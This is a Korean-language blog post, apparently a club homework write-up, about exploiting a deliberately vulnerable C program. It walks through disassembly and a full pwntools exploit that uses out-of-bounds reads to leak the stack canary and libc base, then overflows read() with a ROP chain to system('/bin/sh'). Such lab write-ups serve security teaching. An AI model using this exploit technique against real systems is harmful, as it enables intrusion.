1. OOB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
//gcc -o oob oob.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void init(){
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void menu(){
puts("1. print oob");
puts("2. edit oob");
puts("3. exit");
}
void gadget() {
asm("pop %rdi; ret");
asm("pop %rsi; ret");
asm("pop %rdx; ret");
}
int main(){
init();
int index = 0;
int num=0;
int i=1;
char edit[10];
int oob[5] ={1,2,3,4,5};
printf("Very simple oob\n");
while(i){
menu();
printf("menu: ");
scanf("%d",&num);
switch(num){
case 1:
printf("Input index: ");
scanf("%d",&index);
printf("%u\n", oob[index]);
break;
case 2:
printf("Input index: ");
scanf("%d",&index);
printf("edit in index %d\n",index);
printf("input value: ");
scanf("%d",&oob[index]);
break;
case 3:
default:
exit(0);
break;
}
}
printf("Last Input: ");
char rop[10];
read(0,rop,0x200);
return 0;
}
|
cs |
소스코드를 보면 index를 조정해서 내가 원하는 값을 볼 수 있고 값을 바꿀 수 있다. 또한 read 함수를 보면 BOF가 발생한다는 것을 알 수 있다. 어떤 보안 기법이 적용되었는지 확인을 해보겠다.
Canary가 적용되어 있고 NX, PIE가 적용되었다는 것을 알 수 있다. 그렇다면 index를 조정해서 Canary를 얻고 libc base의 주소를 알아낼 수 있다. 그 후에 ROP를 이용한다면 익스에 성공할 것 같다. gdb를 통해 더 자세히 분석해 보겠다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
|
0x0000000000001299 <+0>: endbr64
0x000000000000129d <+4>: push rbp
0x000000000000129e <+5>: mov rbp,rsp
0x00000000000012a1 <+8>: sub rsp,0x40
0x00000000000012a5 <+12>: mov rax,QWORD PTR fs:0x28
0x00000000000012ae <+21>: mov QWORD PTR [rbp-0x8],rax
0x00000000000012b2 <+25>: xor eax,eax
0x00000000000012b4 <+27>: mov eax,0x0
0x00000000000012b9 <+32>: call 0x1209 <init>
0x00000000000012be <+37>: mov DWORD PTR [rbp-0x3c],0x0
0x00000000000012c5 <+44>: mov DWORD PTR [rbp-0x38],0x0
0x00000000000012cc <+51>: mov DWORD PTR [rbp-0x34],0x1
0x00000000000012d3 <+58>: mov DWORD PTR [rbp-0x30],0x1
0x00000000000012da <+65>: mov DWORD PTR [rbp-0x2c],0x2
0x00000000000012e1 <+72>: mov DWORD PTR [rbp-0x28],0x3
0x00000000000012e8 <+79>: mov DWORD PTR [rbp-0x24],0x4
0x00000000000012ef <+86>: mov DWORD PTR [rbp-0x20],0x5
0x00000000000012f6 <+93>: lea rax,[rip+0xd28] # 0x2025
0x00000000000012fd <+100>: mov rdi,rax
0x0000000000001300 <+103>: call 0x10b0 <puts@plt>
0x0000000000001305 <+108>: jmp 0x1437 <main+414>
0x000000000000130a <+113>: mov eax,0x0
0x000000000000130f <+118>: call 0x1250 <menu>
0x0000000000001314 <+123>: lea rax,[rip+0xd1a] # 0x2035
0x000000000000131b <+130>: mov rdi,rax
0x000000000000131e <+133>: mov eax,0x0
0x0000000000001323 <+138>: call 0x10d0 <printf@plt>
0x0000000000001328 <+143>: lea rax,[rbp-0x38]
0x000000000000132c <+147>: mov rsi,rax
0x000000000000132f <+150>: lea rax,[rip+0xd06] # 0x203c
0x0000000000001336 <+157>: mov rdi,rax
0x0000000000001339 <+160>: mov eax,0x0
0x000000000000133e <+165>: call 0x1100 <__isoc99_scanf@plt>
0x0000000000001343 <+170>: mov eax,DWORD PTR [rbp-0x38]
0x0000000000001346 <+173>: cmp eax,0x1
0x0000000000001349 <+176>: je 0x1355 <main+188>
0x000000000000134b <+178>: cmp eax,0x2
0x000000000000134e <+181>: je 0x13a8 <main+271>
0x0000000000001350 <+183>: jmp 0x142d <main+404>
0x0000000000001355 <+188>: lea rax,[rip+0xce3] # 0x203f
0x000000000000135c <+195>: mov rdi,rax
0x000000000000135f <+198>: mov eax,0x0
0x0000000000001364 <+203>: call 0x10d0 <printf@plt>
0x0000000000001369 <+208>: lea rax,[rbp-0x3c]
0x000000000000136d <+212>: mov rsi,rax
0x0000000000001370 <+215>: lea rax,[rip+0xcc5] # 0x203c
0x0000000000001377 <+222>: mov rdi,rax
0x000000000000137a <+225>: mov eax,0x0
0x000000000000137f <+230>: call 0x1100 <__isoc99_scanf@plt>
0x0000000000001384 <+235>: mov eax,DWORD PTR [rbp-0x3c]
0x0000000000001387 <+238>: cdqe
0x0000000000001389 <+240>: mov eax,DWORD PTR [rbp+rax*4-0x30]
0x000000000000138d <+244>: mov esi,eax
0x000000000000138f <+246>: lea rax,[rip+0xcb7] # 0x204d
0x0000000000001396 <+253>: mov rdi,rax
0x0000000000001399 <+256>: mov eax,0x0
0x000000000000139e <+261>: call 0x10d0 <printf@plt>
0x00000000000013a3 <+266>: jmp 0x1437 <main+414>
0x00000000000013a8 <+271>: lea rax,[rip+0xc90] # 0x203f
0x00000000000013af <+278>: mov rdi,rax
0x00000000000013b2 <+281>: mov eax,0x0
0x00000000000013b7 <+286>: call 0x10d0 <printf@plt>
0x00000000000013bc <+291>: lea rax,[rbp-0x3c]
0x00000000000013c0 <+295>: mov rsi,rax
0x00000000000013c3 <+298>: lea rax,[rip+0xc72] # 0x203c
0x00000000000013ca <+305>: mov rdi,rax
0x00000000000013cd <+308>: mov eax,0x0
0x00000000000013d2 <+313>: call 0x1100 <__isoc99_scanf@plt>
0x00000000000013d7 <+318>: mov eax,DWORD PTR [rbp-0x3c]
0x00000000000013da <+321>: mov esi,eax
0x00000000000013dc <+323>: lea rax,[rip+0xc6e] # 0x2051
0x00000000000013e3 <+330>: mov rdi,rax
0x00000000000013e6 <+333>: mov eax,0x0
0x00000000000013eb <+338>: call 0x10d0 <printf@plt>
0x00000000000013f0 <+343>: lea rax,[rip+0xc6c] # 0x2063
0x00000000000013f7 <+350>: mov rdi,rax
0x00000000000013fa <+353>: mov eax,0x0
0x00000000000013ff <+358>: call 0x10d0 <printf@plt>
0x0000000000001404 <+363>: mov eax,DWORD PTR [rbp-0x3c]
0x0000000000001407 <+366>: lea rdx,[rbp-0x30]
0x000000000000140b <+370>: cdqe
0x000000000000140d <+372>: shl rax,0x2
0x0000000000001411 <+376>: add rax,rdx
0x0000000000001414 <+379>: mov rsi,rax
0x0000000000001417 <+382>: lea rax,[rip+0xc1e] # 0x203c
0x000000000000141e <+389>: mov rdi,rax
0x0000000000001421 <+392>: mov eax,0x0
0x0000000000001426 <+397>: call 0x1100 <__isoc99_scanf@plt>
0x000000000000142b <+402>: jmp 0x1437 <main+414>
0x000000000000142d <+404>: mov edi,0x0
0x0000000000001432 <+409>: call 0x1110 <exit@plt>
0x0000000000001437 <+414>: cmp DWORD PTR [rbp-0x34],0x0
0x000000000000143b <+418>: jne 0x130a <main+113>
0x0000000000001441 <+424>: lea rax,[rip+0xc29] # 0x2071
0x0000000000001448 <+431>: mov rdi,rax
0x000000000000144b <+434>: mov eax,0x0
0x0000000000001450 <+439>: call 0x10d0 <printf@plt>
0x0000000000001455 <+444>: lea rax,[rbp-0x12]
0x0000000000001459 <+448>: mov edx,0x100
0x000000000000145e <+453>: mov rsi,rax
0x0000000000001461 <+456>: mov edi,0x0
0x0000000000001466 <+461>: mov eax,0x0
0x000000000000146b <+466>: call 0x10e0 <read@plt>
0x0000000000001470 <+471>: mov eax,0x0
0x0000000000001475 <+476>: mov rdx,QWORD PTR [rbp-0x8]
0x0000000000001479 <+480>: sub rdx,QWORD PTR fs:0x28
0x0000000000001482 <+489>: je 0x1489 <main+496>
0x0000000000001484 <+491>: call 0x10c0 <__stack_chk_fail@plt>
0x0000000000001489 <+496>: leave
0x000000000000148a <+497>: ret
|
cs |
OOB를 통해 Canary와 libc base를 알아내야 한다. 그렇기 때문에 각 변수들이 어디 위치하는지 알아야 한다.
1
2
3
4
5
6
7
8
|
0x00000000000012be <+37>: mov DWORD PTR [rbp-0x3c],0x0
0x00000000000012c5 <+44>: mov DWORD PTR [rbp-0x38],0x0
0x00000000000012cc <+51>: mov DWORD PTR [rbp-0x34],0x1
0x00000000000012d3 <+58>: mov DWORD PTR [rbp-0x30],0x1
0x00000000000012da <+65>: mov DWORD PTR [rbp-0x2c],0x2
0x00000000000012e1 <+72>: mov DWORD PTR [rbp-0x28],0x3
0x00000000000012e8 <+79>: mov DWORD PTR [rbp-0x24],0x4
0x00000000000012ef <+86>: mov DWORD PTR [rbp-0x20],0x5
|
cs |
이 코드를 보면 변수들이 어디에 할당되었는지 알 수 있다. [rbp -0x3c]에는 index, [rbp-0x38]에는 num, [rbp-0x34]에는 1, [rbp-0x30]에는 oob 변수가 위치한다. Canary는 [rbp-0x8]에 존재한다.
또한, __libc_start_call_main+128은 [rbp+0x8]에 존재한다는 것을 알 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
0x0000555555555355 <+188>: lea rax,[rip+0xce3] # 0x55555555603f
0x000055555555535c <+195>: mov rdi,rax
0x000055555555535f <+198>: mov eax,0x0
0x0000555555555364 <+203>: call 0x5555555550d0 <printf@plt>
0x0000555555555369 <+208>: lea rax,[rbp-0x3c]
0x000055555555536d <+212>: mov rsi,rax
0x0000555555555370 <+215>: lea rax,[rip+0xcc5] # 0x55555555603c
0x0000555555555377 <+222>: mov rdi,rax
0x000055555555537a <+225>: mov eax,0x0
0x000055555555537f <+230>: call 0x555555555100 <__isoc99_scanf@plt>
0x0000555555555384 <+235>: mov eax,DWORD PTR [rbp-0x3c]
0x0000555555555387 <+238>: cdqe
0x0000555555555389 <+240>: mov eax,DWORD PTR [rbp+rax*4-0x30]
0x000055555555538d <+244>: mov esi,eax
0x000055555555538f <+246>: lea rax,[rip+0xcb7] # 0x55555555604d
0x0000555555555396 <+253>: mov rdi,rax
0x0000555555555399 <+256>: mov eax,0x0
0x000055555555539e <+261>: call 0x5555555550d0 <printf@plt>
0x00005555555553a3 <+266>: jmp 0x555555555437 <main+414>
0x0000555555555437 <+414>: cmp DWORD PTR [rbp-0x34],0x0
0x000055555555543b <+418>: jne 0x55555555530a <main+113>
|
cs |
1번을 누르면 내가 원하는 값을 출력할 수 있다. eax,DWORD PTR [rbp+rax*4-0x30]을 보면 oob를 계산하여 값을 출력시킨다는 것을 알 수 있다. 여기서 중요한 점은 이 값은 4바이트 값이라는 것이다. Canary와 __libc_start_call_main+128 8바이트이기 때문에 두 번 받아야 한다는 것이다. 쉽게 설명하면 Canary가 oob[10]에 있다면 뒷 4바이트만 출력되므로 oob[11]값을 받아서 둘이 합쳐야 한다.
출력을 끝내고 main+414로 이동을 하는데 이 때 [rbp-0x34]가 0이면 read 함수가 작동하는 코드부분으로 이동하는 것을 알 수 있다. 익스를 하기 위한 조건은 다 갖춰진 것 같다. 간단하게 시나리오를 설명하면 index를 조정하여 Canary 와 __libc_start_call_main +128의 주소를 leak하고 libc_base를 구하기 위해 offset을 구해서 빼면 libc_base 주소값이 구해질 것이다. 그 후에 [rbp-0x34]를 0으로 바꾸고 read 함수에 ROP를 시도하면 익스가 될 것이다.
offset이 0x29d90이다. 가젯과 /bin/sh의 offset을 구해보겠다.
각각의 오프셋을 구했다. Canary를 구하는 코드를 작성해보겠다. Canary는 [rbp-0x8]에 위치하고 있기 때문에 oob[10], oob[11]에 위치한다. oob[11]의 값은 앞쪽 4비트이므로 비트시프트를 통해 8바이트로 만들어주고 더했다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
p.sendlineafter(b'menu: ', b'1')
p.sendline(b'11')
p.recvuntil(b"index: ")
cnry_first = p.recvline().strip()
cnry_first = int(cnry_first)
print('Canry 4bit : ' + hex(cnry_first))
p.sendlineafter(b'menu: ', b'1')
p.sendline(b'10')
p.recvuntil(b"index: ")
cnry_second = p.recvline().strip()
cnry_second = int(cnry_second)
print('Canry 4bit : ' + hex(cnry_second))
cnry_first = cnry_first << 32
cnry = (cnry_first) + (cnry_second)
print("Canary : " + hex(cnry))
|
cs |
Canary를 구했으니 libc base 주소를 구해보겠다. __libc_start_call_main +128이 들어있는 주소는 oob[14], oob[15]와 같다. oob[15]는 앞쪽 4비트이므로 비트시프트를 통해 8바이트로 만들고 서로를 더했다. 그 후 아까 구했던 offset을 빼어 libc base 주소를 구했다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
#libc base 구하기
libc_offset = 0x29D90
p.sendlineafter(b'menu: ', b'1')
p.sendline(b'14')
p.recvuntil(b"index: ")
libc_first = p.recvline().strip()
libc_first = int(libc_first)
print('libc base 4bit : ' + hex(libc_first))
p.sendlineafter(b'menu: ', b'1')
p.sendline(b'15')
p.recvuntil(b"index: ")
libc_second = p.recvline().strip()
libc_second = int(libc_second)
print('libc base 4bit : ' + hex(libc_second))
libc_second = libc_second << 32
libc_base = libc_first + libc_second - libc_offset
print('libc base : ' + hex(libc_base))
|
cs |
libc base의 주소를 구했으니 가젯의 offset을 더하면 그 함수 안에서 사용이 가능하다. 어셈블리 코드를 보면 알 수 있는 것처럼 rop의 위치는 [rbp-0x12]이다. 하지만 카나리가 적용되어있으므로 0xA만큼에 더미값을 넣고 그 후에 Canary값을 넣는다. sfp에는 0x8에 더미값을 넣고 ROP를 실행해주면 익스가 될 것이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
#ROP 작성 코드
'''
0x000000000002a3e5 : pop rdi ; ret
1d8678 /bin/sh
0x0000000000029139 : ret
'''
binsh = 0x1d8678
ret_offset = 0x0000000000029139
pop_rdi_offset = 0x000000000002a3e5
system_offset = libc.symbols['system']
binsh = binsh + libc_base
ret = libc_base + ret_offset
pop_rdi = libc_base + pop_rdi_offset
libc_system = libc_base + system_offset
payload = b'a' * 0xA + p64(cnry) + b'a' * 0x8 + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(libc_system)
p.sendlineafter(b'menu: ', b'2')
p.sendlineafter(b'index: ',b'-1')
p.sendlineafter(b'value: ',b'0')
p.sendlineafter(b'Input: ', payload)
p.interactive()
|
cs |
전체코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
|
from pwn import *
p = process('./oob')
e = ELF("./oob")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# gdb.attach(p)
#Canry 구하기
p.sendlineafter(b'menu: ', b'1')
p.sendline(b'11')
p.recvuntil(b"index: ")
cnry_first = p.recvline().strip()
cnry_first = int(cnry_first)
print('Canry 4bit : ' + hex(cnry_first))
p.sendlineafter(b'menu: ', b'1')
p.sendline(b'10')
p.recvuntil(b"index: ")
cnry_second = p.recvline().strip()
cnry_second = int(cnry_second)
print('Canry 4bit : ' + hex(cnry_second))
cnry_first = cnry_first << 32
cnry = (cnry_first) + (cnry_second)
print("Canary : " + hex(cnry))
#libc base 구하기
libc_offset = 0x29D90
p.sendlineafter(b'menu: ', b'1')
p.sendline(b'14')
p.recvuntil(b"index: ")
libc_first = p.recvline().strip()
libc_first = int(libc_first)
print('libc base 4bit : ' + hex(libc_first))
p.sendlineafter(b'menu: ', b'1')
p.sendline(b'15')
p.recvuntil(b"index: ")
libc_second = p.recvline().strip()
libc_second = int(libc_second)
print('libc base 4bit : ' + hex(libc_second))
libc_second = libc_second << 32
libc_base = libc_first + libc_second - libc_offset
print('libc base : ' + hex(libc_base))
#ROP 작성 코드
'''
0x000000000002a3e5 : pop rdi ; ret
1d8678 /bin/sh
0x0000000000029139 : ret
'''
binsh = 0x1d8678
ret_offset = 0x0000000000029139
pop_rdi_offset = 0x000000000002a3e5
system_offset = libc.symbols['system']
binsh = binsh + libc_base
ret = libc_base + ret_offset
pop_rdi = libc_base + pop_rdi_offset
libc_system = libc_base + system_offset
payload = b'a' * 0xA + p64(cnry) + b'a' * 0x8 + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(libc_system)
p.sendlineafter(b'menu: ', b'2')
p.sendlineafter(b'index: ',b'-1')
p.sendlineafter(b'value: ',b'0')
p.sendlineafter(b'Input: ', payload)
p.interactive()
|
cs |
'보안 공부 > [동아리]' 카테고리의 다른 글
[동아리] Pay1oad_PWNABLE 6주차 과제 (1) | 2024.11.18 |
---|---|
[동아리] Pay1oad_PWNABLE 5주차 과제 (2) | 2024.11.11 |
[동아리] Pay1oad_PWNABLE 3주차 과제 (0) | 2024.10.28 |
[동아리] Pay1oad_PWNABLE 2주차 과제 (0) | 2024.10.06 |
[동아리] Pay1oad_PWNABLE 1주차 과제 (4) | 2024.09.22 |